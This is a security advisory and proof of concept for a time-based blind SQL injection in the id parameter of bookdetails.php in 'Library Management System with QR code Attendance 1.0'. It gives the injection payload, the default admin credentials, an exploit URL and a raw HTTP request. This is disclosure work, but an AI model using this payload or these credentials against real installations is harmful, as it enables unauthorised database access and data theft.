#### Title: Library Management System with QR code Attendance 1.0 SQL
Injection
#### Author: Ashish Kumar (
https://www.linkedin.com/in/ashish-kumar-0b65a3184)
#### Date: 27.06.2022
#### Vendor: https://www.sourcecodester.com/users/kingbhob02
#### Software:
https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html
#### Version: 1.0
#### Reference:
https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/Sql%20Injection/POC.md

#### Description：
##### The reason for the SQL injection vulnerability is that the website
application does not verify the validity of the data submitted by the user
to the server (type, length, business parameter validity, etc.), and does
not effectively filter the data input by the user with special characters ,
so that the user's input is directly brought into the database for
execution, which exceeds the expected result of the original design of the
SQL statement, resulting in a SQL injection vulnerability.Library
Management System with QR code Attendance does not filter the content
correctly at the "bookdetails.php" id parameter, resulting in the
generation of SQL injection.

#### Payload used:
`' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)-- PbtB`

#### POC

1.  Login into the CMS.
Admin Default Access:

Username: admin

Password: admin


2. https://localhost/LMS/librarian/bookdetails.php?id=191


3. Put sleep(5) payload (`' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)--
PbtB`)

4. `https://localhost:80/LMS/librarian/bookdetails.php?id=' AND (SELECT 9198
FROM (SELECT(SLEEP(5)))iqZA)-- PbtB`



5. code
```
GET
/LMS/librarian/bookdetails.php?id=%27%20AND%20(SELECT%209198%20FROM%20(SELECT(SLEEP(5)))iqZA)--%20PbtB
HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pco
Connection: close
```